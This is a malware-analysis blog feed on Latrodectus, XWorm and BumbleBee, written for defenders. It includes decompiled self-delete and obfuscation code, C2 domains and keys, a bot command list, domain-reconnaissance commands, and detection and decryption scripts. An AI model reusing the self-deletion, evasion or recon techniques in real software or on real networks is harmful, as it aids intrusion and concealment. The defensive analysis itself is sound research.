Latrodectus makes use of a trick to delete itself while the process is still running, making use of an alternative data stream (ADS) and a specific chain of API calls. This technique is used by other malware such as RaspberryRobin, HelloXD Ransomware, DarkPower Ransomware.

The C code used for the self delete is the following one:

__int64 self_delete_withADS()
{
  char v1[8]; // [rsp+40h] [rbp-D8h] BYREF
  HANDLE FileW; // [rsp+48h] [rbp-D0h]
  int *buff; // [rsp+50h] [rbp-C8h]
  unsigned __int64 v4; // [rsp+58h] [rbp-C0h]
  unsigned __int64 buff_size; // [rsp+60h] [rbp-B8h]
  int *v6; // [rsp+68h] [rbp-B0h]
  __int16 *v7; // [rsp+70h] [rbp-A8h]
  WCHAR *__attribute__((__org_arrdim(0,0))) v8; // [rsp+78h] [rbp-A0h]
  __int16 a2[76]; // [rsp+80h] [rbp-98h] BYREF

  if ( !self_filepath )
    return 0xFFFFFFFFi64;
  FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
  if ( FileW == INVALID_HANDLE_VALUE )
    return 0xFFFFFFFFi64;
  deobfuscate_string(&byte_18000FA18, a2);      // :wtfbbq\x00
  v7 = a2;
  v8 = a2;
  v4 = 2i64 * whar::get_length(a2);
  buff_size = v4 + 24;
  buff = allocate_memory_rwx(v4 + 24);
  if ( !buff )
    return 0xFFFFFFFFi64;
  zero_mem_0(buff, buff_size);
  v6 = buff;
  buff[4] = v4;
  qmemcpy(v6 + 5, v8, v4);
  if ( SetFileInformationByHandle(FileW, FileRenameInfo, v6, buff_size) )
  {
    nt_free_mem(buff);
    CloseHandle(FileW);
    FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
    if ( FileW == INVALID_HANDLE_VALUE )
    {
      return 0xFFFFFFFFi64;
    }
    else
    {
      v1[0] = 0;
      zero_mem_0(v1, 1ui64);
      v1[0] = 1;
      if ( SetFileInformationByHandle(FileW, FileDispositionInfo, v1, 1u) )
      {
        CloseHandle(FileW);
        return 0i64;
      }
      else
      {
        return 0xFFFFFFFFi64;
      }
    }
  }
  else
  {
    nt_free_mem(buff);
    return 0xFFFFFFFFi64;
  }
}

Code Snippet 9: Self delete using Alternate Data Stream

Command and Control Communication #

The malware uses this user-agent which is unique to this version (or campaign) of Latrodectus. > behavior_network:“Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)”

The malware communicate over HTTPS where the POST data are base64 encoded and its content is RC4 encrypted. The RC4 key is stored obfuscated using the same obfuscation as other strings. In this sample the key is 12345…

The bot understands 4 orders: URLS, CLEARURL, COMMAND and ERROR. The list of command is provided in the Table 2. The URLS updated the list of C2 URLs and CLEARURL cleaned the C2 URLs table.

Command ID	Description
2	Get desktop files
3	List running processes
4	fingerprint host & domain
12	Download and execute EXE in AppData
13	Download and execute DLL in AppData
14	Download and execute Shellcode
15	Download and update EXE (auto-update)
17	Exit process
18	Run DLL in AppData (`init -zzzz` files/bp.dat)
19	Increase beacon interval
20	Reset counter (number of sended http request)

Other analysis made on this threat highlight a command ID 21 related to a stealer module, no reference to this ID have been found in this sample. My primary hypothesis is that stealer capability is optional ¯\_(ツ)_/¯.

The bot beacon with its C2 with POST request where the body contains the following fields:

counter: number of http request send;
type: and id (1 to 5) defining which beacon it is (sysinfo, process list, desktop files);
guid: bot identifier;
os: major version;
arch: fixed to 1 for x64 architecture (otherwise the bot exit if it is another architecture);
username: username of the running process owner;
group: FNV-1 hash of the group (Littlehw);
ver: bot version;
up: a constante;
direction: C2 related information;

counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s.

To facilitate the decryption of the communication, here is a script to help:

import base64

def rc4(data: str, key: str) -> str:
    """code from OALabs """
    x = 0
    box = list(range(256))
    for i in range(256):
        x = (x + box[i] + key[i % len(key)]) % 256
        box[i], box[x] = box[x], box[i]
    x = 0
    y = 0
    out = []
    for c in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(c ^ box[(box[x] + box[y]) % 256])
    return bytes(out)


buff = b"E3l9I35LXiOWKYHilDWuJoUOTU3NOyjNGnp3muFUOrabzvFw6FpoOQqdBZmsUV5E7FzXWHKgBafR6PcPckBsIB2vIhb3CZ/QHPoEO1hc0A++PpLQjpRWJkK3EFDxH/R5RYjhInO8hc0jTljC91GMVstjkxgQnuZLGBW6AV/gz4VrNMWUxFUtP4fdg/HKCREbRm+gIHkH/7Jc9Q=="
key = b"12345"
print(rc4(base64.b64decode(buff), key).decode())

Code Snippet 10: Packet decryption routine

CLEARURL
URLS|0|https://popfealt.one/live/
URLS|1|https://ginzbargatey.tech/live/
URLS|2|https://minndarespo.icu/live/
COMMAND|4|front://sysinfo.bin

NB: the command: 4, where it contains front:// the bot replace the front:// by the value of the actual C2 URL.

Host & Domain recon #

One of the capacity of the bot is to execute in a dedicated thread a serie of commands to fingerprint the network topology of the infected host and on the connected domain:

ipconfig /all
systeminfo
nltest /domain_trusts
net view /all /domain
nltest /domain_trusts /all_trusts
net view /all
net group "Domain Admins" /domain
/Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
net config workstation
wmic.exe /node:localhost /names
whoami /groups

NB: This method is executed when the bot received the COMMAND order with the ID 0x4, c.f: Table 2.

YARA #

import "pe"

rule latrodectus_exports : TESTING {
    meta:
        version = "1.0"
        malware = "Latrodectus"
        author = "Sekoia.io"
        description = "detection based on the DLL exports, this is specific to the BR4 campaign"
        creation_date = "2024-07-03"
        classification = "TLP:GREEN"

    condition:
        (pe.exports("stow") or pe.exports("homq") or pe.exports("scub")) and pe.number_of_exports >= 3 and uint16(0) == 0x5a4d
}

Artefacts hunting #

Host artefacts:

%appdata%\Custom_update directory with the files:
- update_data.dat (obfsucated C2 URLs);
- Update_<8 random characters>.dll.
Mutex runnung;
Scheduled task named Updater.

Network artefacts:

HTTP User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1);
HTTP POST request on /live/ endpoints.

Latrodectus Update #

Previous version samples:

Strings obfuscation #

In the previous version of the malware, the string deobfuscation function used a more sophisticated aglorithm PRNG2 with have been removed in the current one…

The encoded strings always starts with 0xf5 byte due to the PRNG2 implementation:

Figure 9: Example of obfsucated string in previous version

BYTE *__fastcall decode_string(WORD *obfuscated_data, BYTE *buff_dest)
{
  BYTE v3; // [rsp+20h] [rbp-18h]
  unsigned __int16 i; // [rsp+24h] [rbp-14h]
  unsigned __int16 length; // [rsp+28h] [rbp-10h]
  int seed; // [rsp+2Ch] [rbp-Ch]
  BYTE *ptr_buff_obfuscated; // [rsp+40h] [rbp+8h]

  seed = *(_DWORD *)obfuscated_data;
  length = obfuscated_data[2] ^ *obfuscated_data;
  ptr_buff_obfuscated = (BYTE *)(obfuscated_data + 3);
  for ( i = 0; i < (int)length; ++i )
  {
    v3 = ptr_buff_obfuscated[i];
    seed = prng2(seed);
    buff_dest[i] = seed ^ v3;
  }
  return buff_dest;
}

Code Snippet 11: Previous version of the deobfuscation function

And the PRGN2 decompiled function was:

__int64 __fastcall prng2(int seed)
{
  unsigned __int64 v1; // kr00_8
  unsigned int v3; // [rsp+8h] [rbp+8h]

  v1 = (unsigned __int64)(((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) << 31) | ((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) >> 1)) << 30;
  v3 = ((((unsigned int)v1 | HIDWORD(v1)) ^ 0x151D) >> 0x1E) | (4 * ((v1 | HIDWORD(v1)) ^ 0x151D));
  return (v3 >> 31) | (2 * v3);
}

Code Snippet 12: PRGN2 function oldest Latrodectus version

The medium article from walmartglobaltech IcedID gets Loaded provided a Python implementation of the PRGN2 algorithm:

import struct
import binascii

def mask(a):
    return a & 0xFFFFFFFF


def prng2(seed):
    temp = mask((seed + 0x2E59))
    temp2 = temp >> 1
    temp = mask(temp << 0x1F)
    temp |= temp2
    temp2 = temp >> 1
    temp = mask(temp << 0x1F)
    temp |= temp2
    temp2 = temp >> 2
    temp = mask(temp << 0x1E)
    temp |= temp2
    temp ^= 0x6387
    temp ^= 0x769A
    temp2 = mask(temp << 2)
    temp >>= 0x1E
    temp |= temp2
    temp2 = mask(temp << 1)
    temp >>= 0x1F
    temp |= temp2
    return temp


def decode(s):
    (seed, l) = struct.unpack_from("<IH", s)
    l = (l ^ seed) & 0xFFFF
    if l > len(s):
        return b""
    temp = bytearray(s[6 : 6 + l])
    for i in range(l):
        seed = prng2(seed)
        temp[i] = (temp[i] ^ seed) & 0xFF
    return temp


string = binascii.unhexlify("F5788452F8781A6EEE4623114A578F9A44B3E10000")
print(decode(string).decode())

Code Snippet 13: Python implementation of Latrodectus PRGN2

URLS|%d|%s
�

The strings obfuscation have been used by Latrodectus in its early version, however the developper removed the PRNG2 part and replace it with a seed incrementation…

TTPs #

According to 0x0d4 article the infection chain got some update, however the campaign pattern remain the same:

Stage 0: A JavaScript Downloader is used to download a MSI from a first infrastructure;
Stage 0: The JavaScript execute the MSI;
Stage 1: The MSI uses a custom action to run rundll32.exe to execute the Latrodectus DLL;
Stage 2: Latrodectus communicates with its own infrastructure;

Figure 10: Previous campaign infection chain

The last campaign introduce Brute Ratel usage between the MSI and Latrodectus DLL.y

Figure 11: Recent campaign infection chain introducing Brute Ratel

In the May-June update, Latrodectus operators introduced a new stage between stages 1 and 2. The threat actors use an MSI to execute BruteRatel, which then drops Latrodectus. The primary hypothesis for the presence of BruteRatel is to detect and evade defenses before dropping the Latrodectus payload. According to the analysis of the Latrodectus malware, there is no advanced or effective sandbox, virtual, or analysis environment detection implemented, hence the use of BruteRatel.

Configuration extractor #

The targeted configuration in the sample includes:

C2 URLs
RC4 key
Group (probably the affiliate name or campaign name)

All the “configuration” is obfuscated using the same technique as other strings in the malware. The structure of the obfuscated string consists of a key (first 4 bytes) and a seed (next 2 bytes), which are the same for all obfuscated strings.

To identify what will be called a LATRODECTUS_OBFUSCATED_EGG in the extractor, we follow these steps:

Extract the data from the .data section;
Split the data as if it were a normal string using data.split(b"\x00");
Create a list containing the first 4 bytes of each split string;
Use a Python Counter from the collections standard module to identify the starting buffer with the most occurrences;
Use the identified EGG to split data (obfsucated string);
Extract data from the mathes of the EGG that contains the key and the seed, combining both with a XOR operation give the string size size = (key ^ seed) & 0xff;
Get the obfsucated data from the above match offset and the size;
Debfuscated each string;
Match URL using the http first character;
Base on all analyzed sample, the group is always place after the ERROR string (the C2 command) and the RC4 key is always after the /files/ string (used to replace some C2 response body).

import re
import struct
import pefile
import logging

from collections import Counter
from typing import Optional, List, Dict

logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)


def parse_pe(pe_path: str) -> bytes:
    """Extract data from the .data section of the PE,
    returns a byte array otherwise raise ValueError"""

    pe: pefile.PE = pefile.PE(pe_path)
    data_section: Optional[pefile.SectionStructure] = None

    for section in pe.sections:
        if section.Name.startswith(b".data"):
            data_section = section

    if not data_section:
        raise ValueError("no .data section found")

    return data_section.get_data()


def identify_latrodectus_egg_obfuscated_string(data: bytes) -> re.Pattern:
    """Identify the pattern at the beggining of the obfuscated strings"""

    # need to identifier the EGG_OBFUSCATED_STRING...
    patterns = []
    for str_data in filter(lambda x: x, data.split(b"\x00")):
        patterns.append(str_data[:4])

    EGG_PATTERN = Counter(patterns).most_common(1)[0][0]  # get the most common pattern

    if not EGG_PATTERN:
        raise ValueError("no begging string pattern found")

    # note the best way to build the RE pattern...
    LATRODECTUS_EGG_STRING = re.compile(EGG_PATTERN + b"(..)")
    logging.debug(f"Found an STRING EGG pattern: 0x{EGG_PATTERN.hex()}")

    return LATRODECTUS_EGG_STRING


def deobfuscate_all_strings(
    data: bytes, LATRODECTUS_EGG_STRING: re.Pattern
) -> List[str]:
    """
    Split data by the LATRODECTUS_EGG_STRING,
    then deobfuscated each one of them and return their
    string value regarding their encoding: utf-8 or utf-16
    """

    strings: List[str] = []

    for match in LATRODECTUS_EGG_STRING.finditer(data):
        start_position = match.start() + 6
        key, seed = struct.unpack("<ih", match.group())
        size = (key ^ seed) & 0xFF

        ciphertext = data[start_position : start_position + size]
        cleartext = bytearray(size)

        for index in range(size):
            key += 1
            cleartext[index] = (key ^ ciphertext[index]) & 0xFF

        if cleartext.endswith(b"\x00" * 2):  # wide string
            strings.append(cleartext.decode("utf-16"))
        else:
            strings.append(cleartext.decode())

    return strings


def extract_configuration_from_cleartexts(strings: List[str]) -> Dict:
    configuration = {"C2": [], "rc4_key": "", "group": ""}

    for index, value in enumerate(strings):
        if value == "ERROR\x00":
            configuration["rc4_key"] = strings[index + 1].replace("\x00", "")
            logging.debug(f"rc4 key is: {configuration['rc4_key']}")
        if value == "/files/\x00":
            configuration["group"] = strings[index + 1].replace("\x00", "")
            logging.debug(f"latrodectus group: {configuration['group']}")
        if value.startswith("http"):
            configuration["C2"].append(value.replace("\x00", ""))
            logging.debug(f"update C2: {configuration['C2']}")

    logging.info(configuration)
    return configuration


def main(path: str) -> Dict:
    """take a PE path and return
    the Latrodectus configuration"""

    data = parse_pe(path)
    EGG_STRING = identify_latrodectus_egg_obfuscated_string(data)
    strings = deobfuscate_all_strings(data, EGG_STRING)
    configuration = extract_configuration_from_cleartexts(strings)
    return configuration


if __name__ == "__main__":
    import sys

    path = sys.argv[1]
    try:
        print(main(path))
    except Exception as err:
        logging.error(f"failed to extract configuration from {path}, error: {err}")

Code Snippet 14: Latrodectus configuration extractor

External references #

Conclusion #

Even after the large LEA operation at the beginning of 2024 (Operation Endgame), Latrodectus remains a major threat in the cybercrime landscape. The various updates it has received are a reliable indicator that the threat actors behind this malware are continuously improving the malware and its techniques.

I hope you enjoy the read :pray:. All feedback is welcome.

Focus on XWorm obfuscation 🪱

pbo@fakeEmailToMakeValidatorHappy.com (pbo) — Wed, 07 Jun 2023 00:00:00 +0200

XWorm is a Remote Access Trojan (RAT) developed in .NET, the malware is mostly spread via phishing campaigns using homemade or opensource packing tools. Note, that some versions of the source code have leaked on Cybercrime forums and also on Telegram channels. This analysis focuses on the XWorm version 3.0.

TL;DR XWorm #

The malware has many functionalities: Virtual environment detection, command execution, file download/upload, persistent after reboot, keylogging, etc… An interesting feature of the RAT is the plugin configuration; attackers can configure plugins that are downloaded and executed by the RAT during the infection. The plugins are mainly DLL in .NET, the last section explains how to extract XWorm plugins from network capture.

The next sections detail how the RAT managed its configuration deobfuscation, then how the Command and Control (C2) communication works.

Links to download the sample used for this analysis:

The RAT have been spotted at the end of November 2022 distributed in malspam campaigns, as reported in this tweet:

Most people don't tag their precise location in Tweets, so we're removing this ability to simplify your Tweeting experience. You'll still be able to tag your precise location in Tweets through our updated camera. It's helpful when sharing on-the-ground moments.
— Twitter Support (@TwitterSupport) June 18, 2019

One reason of the rise of XWorm observed in the wild could be the leak of the source code:

XSS forum: xss.]is/threads/75837/;
Shinyenigma Github repository: Shinyenigma/XWorm-RAT.

XWorm data obfuscation #

The RAT configuration is stored in a class of the namespace Stub, where variables value are encoded in base64, in this version of the sample namespaces, classes and variables names are randomized to slow down the analysis, however, the structure of the code remains the same as clear sample! This naming randomization is becoming more and more popular amoung threat actors that have XWorm in their arsenal.

Figure 1: XWorm configuration decryption using AES (ECB No padding)

XWorm first deobufscates its configuration, it initiates a CryptServiceProvider, then the RAT compute the MD5 hash of a variable (named Mutex) located in its configuration class. Finally the hash is manipulated (oddly 🙃) to create the decryption key used to decrypt the rest of configuration (host, port, etc.).

XWorm uses Rijndael The Advanced Encryption Standard (AES), also known by its original name Rijndael https://en.wikipedia.org/wiki/Advanced_Encryption_Standard encryption in ECB (Electronic CodeBook) mode, no IV (Initial Vector) is required here. To create the key, the malware creates the MD5 hash of a variable copies the 8 first bytes to store them at the beginning of a new allocated array (of 16 bytes; the decryption key length), then re-copies these same 8 bytes to the key array but not after the 8 first bytes but from the 7^th byte to the 15 byte. The last byte (16^th) is zero (due to the array initialization). The figure below schematizes how the key is built.

+----------+  Base64 decode    +--------+
| Variable +------------------>| Array  |
+----------+                   +-----+--+
                                     |
                                     +-MD5
                                     |
                               +-----v--------------------------+
                               |dfe3ee833129588467dcf63d547b5806|
                               +--------------------------------+
                               0               8                16 (bytes)
                               + -----+------- +
                                      |  Copy
                                      +---------------+
                                      |               |
                                      |               v
                                      |       + --------------+
                                      v       |dfe3ee8331295884|
                               +--------------- +
                               |dfe3ee8331295884|
                               +--------------+-+---------------+--+
                               |              |X|               |00|
                               +--------------+-+---------------+--+
                               0              7 8               15 16 (bytes)

NB:

the bytes 7 is overwritten
the last byte of the key is fill with null byte
the Rijndael key is 16 bytes long.

Code of the class in charge of the configuration ⤵️

using System;
using Microsoft.VisualBasic;

// Token: 0x02000007 RID: 7
public class 1155SI5ci4n22Hgtjad9sWuTzrR6TsPd3
{

	public static string 1mDweS2QdR()
	{
		return "1CWdwE8cqZ";
	}

	public static int EzSG3aY6W9()
	{
		return 99534703;
	}

	public static string Kxcu3hu0i2()
	{
		return "3SXF4Z2FNV";
	}

	public static int mOGPU4rRYz()
	{
		return 1112926;
	}

	public static string P9aS8dF2nvwBlMKsX6mGmz9cpNwVvrwuR = "VpmZ71vaW8IbCUUhXaZYmIZ+fg3gEPqzqfEpJeFIWv0=";

	public static string O3fw8tjb6Ybd2xdW1giyBzQmbNOjR0msp = "a6SLXA5CKiTAVsnJwB7XJw==";

	public static string hmapdKWqyxSWCy3WcMMHwiP4mJaWTptDB = "bvUFyfn2d6e7YEJt9/zw/A==";

	public static string iOHL4ozmm3zDihnbDjArk0EELSZcjGaht = "suGMnRXFX/LRVfGLaUEsHA==";

	public static int bq1mI0Edvncwx7ALBYKSeIcOOIBhaoFYg = 3;

	public static string vJsr4si0NzLXgwfc4qHHmiEQitrHJl3Dk = "5D+67sZ9S91x7RZPyaBWwBnRhFtzU62dUOgoP7j7MdQ=";

	public static string xDJM0Hxvl8n38SrNt95dqrkiScRfNClzh = "%AppData%";

	public static string uVIC8wouZBTVmqNmkP5u6gKlFXjOtuSz8 = "FIubOp8mcEdS0i5b";

	public static string w4IoWC1BczHdJNaHCSWko7r27h7MJfJJM = Interaction.Environ("temp") + "\\Log.tmp";
}

Code Snippet 1: Configuration class of XWorm (source: DnSpy)

In this version of the RAT variables name are obfuscated, the two highlighted variables are the communication key (first variable from the top) and the second one is what was named Mutex. The mutex is the variable holding the base string used to build the decryption key for the configuration. The variable holding the key used for communication encryption/decryption need to be first decrypted by the same method used for the rest of the configuration decryption before behing used for the communication.

Once decrypted, the configuration of XWorm is:

Purpose	Value obfuscated	Cleartext
C2 Host	VpmZ71vaW8IbCUUhXaZYmIZ+fg3gEPqzqfEpJeFIWv0=	`names-again.at.playit.]gg`
C2 Port	a6SLXA5CKiTAVsnJwB7XJw==	`59741`
AES key for communication	bvUFyfn2d6e7YEJt9/zw/A==	`<123456789>`
Message split pattern	suGMnRXFX/LRVfGLaUEsHA==	`<Xwormmm>`
Installation name	5D+67sZ9S91x7RZPyaBWwBnRhFtzU62dUOgoP7j7MdQ=	`Microsoft OneDrive.exe`

Here is the cyberchef recipe.

Command and Control Communication #

XWorm communications are encrypted with AES algorithm in ECB mode. The RAT uses raw TCP connection on a port defined by the attacker. Exchanged messages are not fully encrypted, in fact the first bytes contains the size of the message followed by a null bytes (used as a split pattern) in cleartext, see the figure below where the size of the message is in black, the split pattern in red and the encrypted message in blue.

Figure 2: XWorm raw TCP message in hexdump format

Once the mutex and the communication key are identified you can use this script to deobfuscate the RAT communication.

  import sys
  import argparse
  import binascii
  import hashlib
  from base64 import b64decode
  from collections import deque
  from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
  from cryptography.hazmat.backends import default_backend

  backend = default_backend()


  def decrypt_XWorm_configuration(mutex: str, configuration: str) -> bytes:
      """configuration are stored in base64, the key used for the
      configuration decryption is the MD5 hash (re-arranged) of the
      variable `Mutex`"""

      md5 = hashlib.md5(mutex.encode())
      md5 = md5.digest()

      key = md5[:-1] + md5 + b"\x00"

      decoded_configuration = b64decode(configuration)

      decryptor = Cipher(algorithms.AES(key), modes.ECB(), backend).decryptor()

      return decryptor.update(decoded_configuration)



  def decrypt_XWorm_communication(mutex: str, com_key: str, packet: str):
      """Rijndael decryption of XWorm communcation"""

      clear_com_key = decrypt_XWorm_configuration(mutex, com_key)
      clear_com_key = clear_com_key[:-clear_com_key[-1]]

      hpacket = binascii.unhexlify(packet)
      hpacket = hpacket.split(b"\x00", maxsplit=1)
      size, message = int(hpacket[0]), hpacket[1]

      clear_com_key = hashlib.md5(clear_com_key).digest()

      decryptor = Cipher(algorithms.AES(clear_com_key), modes.ECB(), backend).decryptor()
      cleartext = decryptor.update(message)
      cleartext = cleartext[:-cleartext[-1]]

      if len(cleartext) < 1000 and cleartext:
	  print(size, cleartext)

      if not abs(len(cleartext) - size) >= 16 and len(cleartext) > 1000:
	  print(f"Download plugin: {cleartext[:100]}")
	  with open(f"packet-{len(cleartext)}.bin", "wb") as f:
	      f.write(cleartext)

      return False if abs(len(cleartext) - size) >= 16 else True


  def main(mutex: str, com: str):
      """Main function to decrypt XWorm communication"""

      queue = deque(map(lambda x: x.replace("\n", ""), sys.stdin.readlines()))

      while queue:
	  try:
	      packet = queue.popleft()
	      if not decrypt_XWorm_communication(mutex, com, packet):
		  queue.insert(0, f"{packet}{queue.popleft()}")
	  except Exception as err:
	      if queue:
		  queue.insert(0, f"{packet}{queue.popleft()}")


  if __name__ == "__main__":
      # mutex = "FIubOp8mcEdS0i5b"
      # com = "bvUFyfn2d6e7YEJt9/zw/A=="

      parser = argparse.ArgumentParser("Script to decrypt XWorm communication")
      parser.add_argument("-m", "--mutex", help="Mutex holding the configuration decryption key")
      parser.add_argument("-c", "--com", help="Communication key (encrypted version)")

      args = parser.parse_args()

      main(mutex=args.mutex, com=args.com)

Code Snippet 2: Python script to decrypt XWorm communication

To dump the XWorm messages in cleartext from a PCAP, use the following command:

   tshark -r /tmp/dump.pcapng -Y "tcp.port == 3395" -e tcp.payload -Tjson |
       jq -r ".[]._source.layers[][]" |
       python3 decrypt_xworm_com.py --mutex="FIubOp8mcEdS0i5b" --com="bvUFyfn2d6e7YEJt9/zw/A=="

This sample of XWorm communicates on port 3395.

  b'INFO<Xwormmm>9623CE2085896DD4BD55<Xwormmm>Admin<Xwormmm> Windows 10 Pro 64bit<Xwormmm>XWorm V3.0<Xwormmm>23/02/2023<Xwormmm>False<Xwormmm>True<Xwormmm>False<Xwormmm>None'
  b'PING!'
  b'plugin<Xwormmm>179DCD0BAD17DB8E467A40D7B57437461CDC3263090966A687BDD40B279E4DF2<Xwormmm>0'
  b'sendPlugin<Xwormmm>179DCD0BAD17DB8E467A40D7B57437461CDC3263090966A687BDD40B279E4DF2
	...

Code Snippet 3: Output of XWorm PCAP decryption by the Python script

XWorm plugins #

As introduced, XWorm has the capability to download and execute plugins. This mechanism is simple, here is its workflow:

The C2 send available plugins: plugin<Xwormmm>Id of the plugin<Xwormmm>
The RAT ask the C2 to send the plugin: sendPlugin<Xwormmm>Id of the plugin
The C2 send the plugin: savePlugin<Xwormmm>Id of the plugin<Xwormmm>\x00\xc2\x07\x00<DLL .NET >

Referred to Figure 2 where the last packet (in the figure) received by the infected host has a size of 420736 bytes, in fact this is a plugin sent by the C2. This sample of XWorm downloads a plugin name Recover.dll with the following SHA-256: 179dcd0bad17db8e467a40d7b57437461cdc3263090966a687bdd40b279e4df2, the plugin attempts to loot passwords and other authentication items.

The script dumps messages whose size exceeds 1000 bytes into a file, which is useful to dump XWorm plugins downloaded from the C2.

BumbleBee notes 🐝

pbo@fakeEmailToMakeValidatorHappy.com (pbo) — Wed, 29 Mar 2023 00:00:00 +0200

BumbleBee is categorized as a Loader, the malware is used by Initial Access Brokers to gain access in targeted companies. This article aims to summarizing the different TTPs observed in campaigns distributing BumbleBee and provides a script to extract its configuration.

TL;DR BumbleBee #

The loader delivers diverse payloads (e.g: Cobalt Strike, ransomware, etc), the operators of BumbleBee have been named EXOTIC LILY by the TAG in a report published in March 2022. Google TAG article mentionned BumbleBee Loader (e.g: The user-agent set to bumblebee, hence dubbed BUMBLEBEE. https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/ Moreover, similarities with other loaders in terms of operation have been noticed notably with IcedID and Emotet. Code similarty (hook installation) with Trickbot have been observed and explained in the post The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. The malware is well documented by now (March 2023) as evidenced by the number of reports on malpedia.

BumbleBee capabilities #

The malware has a custom unpacking mechanism, it manipulates hooks to setup its execution chain, the loader uses multiple environment detection techniques because of the complete integration of the project al-khaser al-khaser is a PoC “malware” application with good intentions that aims to stress your anti-malware system. It performs a bunch of common malware tricks with the goal of seeing if you stay under the radar. . It communicates with its command and control over HTTP. Since August 2022 the malware embeds a list of IP addresses in its configuration, some of them are legitimate IP addresses, this technique is also used by other malware such as Emotet and Trickbot.

BumbleBee command and control IP addresses, port and the bot (or botnet) identifier are stored in the .data section, obfuscated with the RC4 encryption algorithm. A script to extract and deobfuscate them is provided at the end of this post.

Campaigns file format #

First malspam campaign which delivered BumbleBee contains a web link to a protected ZIP archive.

The archive contains an ISO file;
The ISO contains a LNK file and a DLL file;
The LNK executes rundll32.exe to invoke the embedded DLL;

Figure 1: BumbleBee infection chain with ISO file

This model of campaign was used for months. During the summer of 2022, actors updated the disk image format from ISO to VHD. Content of disk image (VHD) changed too, the DLL is no more stored as a file, but it is embed obfuscated in a PowerShell script. The script is executed by the LNK with the execution policy set to bypass. The BumbleBee’s DLL is stored in the PowerShell script in obfuscated strings (e.g: $elem30=$elem30.$casda.Invoke(0,"H")). After strings replacement, the base64 encoded variable is decoded, decrompressed (ungzip) and invoked (e.g: scriptPath | iex).

Figure 2: BumbleBee infection chain with VHD file

NB: File sharing service used to deliver BumbleBee change regulary e.g.: WeTransfer, Onedrive, Smash, etc. Details of a campaign using onedrive file sharing website are written in the article: Bumblebee DocuSign Campaign.

Examples IOCs:

Configuration extractor #

As introduced above, the configuration is stored encrypted with the RC4 algorithm. RC4: Rivest Cipher 4, also known as ARC4: https://en.wikipedia.org/wiki/RC4 The key is in cleartext in the binary and its length is repeatedly (for BumbleBee case) fixed to 10 characters.

Here is the two functions that implement RC4 algorithm in BumbleBee:

Figure 3: BumbleBee implemenation of PRGA of RC4 algorithm

Figure 4: BumbleBee implementation of KSA of RC4 algorithm

The key is stored at the end of the blob of data containing the encrypted list of IP addresses. After analysing few samples of BumbleBee, it appears that the blob of data containing the IP addresses is always 4105 bytes long (plus one null byte) which is a pattern to look for in the DLL for a C2 extractor.

Figure 5: Location of the blob and the RC4 key

The script below attempts to loop over data until a blob matches the blob size, then it extracts the RC4 key (the last 10 bytes of the blob) to finally decrypt the data.

  from cryptography.hazmat.primitives.ciphers import Cipher
  from cryptography.hazmat.primitives.ciphers.algorithms import ARC4


  def decrypt_rc4(key: bytes, ciphertext: bytes) -> bytes:
      """Decrypt RC4 encrypt data, `pip install cryptography`"""

      algorithm = ARC4(key)
      cipher = Cipher(algorithm, mode=None)
      decryptor = cipher.decryptor()
      cleartext = decryptor.update(ciphertext)

      return cleartext


  def get_bumblebee_c2(data: bytes) -> bytes:
      """
      Command and Control are stored at the end of the .data section,
      the configuration of the obfuscated C2 and its associated RC4
      are stored in the same blob with a fixed lenght of
      4105 plus one null byte (4106).
      !\xac\xd2\xfe=;\x87\x94\xebP\x8e@\x08}\x00/^I\xd4\x86\xaf\xd2\x14-
      \x16\x89A\xa9uT\x00\xbduC\xb7\x9e~\x19\xac\x9f\xb4\x0f\xae>\xcc
      \x96S]\xb56\x93C\x9d*p\xed\xc9\x04:Oew\xc3*X`:a\xe0T\x8e\x93>\xf9
      \xf8\xe2\x17Q\x15b,8\xa8[\xf5N\x93\xffMM]\x8d\xec\xde\x13\x95z\xc3
      ...
      ...
      ... <redatacted> ...
      \xd4\x00\xa1xZ:\x1e\x90\x00X\xea\xca\x0c\'\xee\xffOR5tw\xc0I\x86R"!
      \xf8\xa3\x87\xc8\x16Mo_5\x82_\x81\x9f<RC4 key composed by 10 bytes>
      """

      c2 = b""

      for blob in map(lambda x: x.strip(b"\x00"), data.split(b"\x00" * 4)):
	  if len(blob) == 4106:
	      key = blob[-10:]
	      ciphertext = blob[:-10]
	      c2 = decrypt_rc4(key, ciphertext)
	      c2 = c2.replace(b"\x00", b"")
	      print(f"BumbleBee Command and Control IoCs: {c2}")

      return c2


  if __name__ == "__main__":
      import sys

      with open(sys.argv[1], "rb") as f:
	  get_bumblebee_c2(f.read())

Code Snippet 1: BumbleBee C2 extractor

PS: Tested with the package cryptography with the version: 3.4.8.

Go head and re-use, adapt the script for your needs!

Krakz

It's Called a VEH-tor ↗️

SEH, VEH and a Word on C++ Exceptions #

Structured Exception Handling #

SEH in x86 #

SEH in x64 #

Vectored Exception Handling #

C++ Exceptions are not the Same Thing #

How the VEH List is Built and Stored #

Practice: Observing it at runtime #

Using Exceptions as a Control Flow Primitive #

VEH combined with API hashing #

VEH / A failed way to “Arithmetic as a smokescreen” #

VEH / Sealing the fault #

Detecting It as a Malware Analyst #

Wrapping Up #

ACECrypter unpacking walktrough 📦

Stage 0 - Too much noice #

Stage 1 - Shellcode #

Stage 2 - Next stage execution #

Anti Sandbox #

Trigger the execution #

Other great analysis #

Tools #

Latrodectus dropped by BR4 🕷️

Context #

Stage 0 (Form_Ver-X-X-X.js) pivot #

Stage1: MSI #

Stage 2 BruteRatel: aclui.dll #

Stage 3: Latrodectus sample analysis #

Overview #

Dynamic API resolution #

string obfusatation #

Persistence #

Defense evasion #

Command and Control Communication #

Host & Domain recon #

YARA #

Artefacts hunting #

